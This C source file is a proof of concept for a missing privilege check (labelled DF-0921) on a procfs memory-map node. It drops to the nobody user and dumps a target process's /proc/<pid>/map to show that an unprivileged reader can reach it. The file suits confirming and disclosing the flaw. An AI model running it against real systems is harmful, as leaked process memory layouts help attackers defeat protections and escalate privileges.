/*
 * leak_map.c - read /proc/<pid>/map as an unprivileged user to confirm
 *              DF-0921 (missing privilege check on the procfs Pmap node).
 *
 * Build: cc -o leak_map leak_map.c
 * Use:   ./leak_map /proc/<root_pid>/map
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
    char buf[1 << 16];
    ssize_t n;
    int fd;

    if (argc != 2) {
        fprintf(stderr, "usage: %s /proc/<pid>/map\n", argv[0]);
        return 2;
    }

    /* Drop to nobody:nobody if running as root, to prove non-root reach. */
    if (geteuid() == 0) {
        if (setgid(65534) != 0 || setuid(65534) != 0) {
            perror("setuid");
            return 1;
        }
    }
    printf("[*] running as uid=%d gid=%d\n", getuid(), getgid());

    fd = open(argv[1], O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    while ((n = read(fd, buf, sizeof buf)) > 0)
        write(1, buf, n);

    if (n < 0)
        perror("read");

    close(fd);
    return 0;
}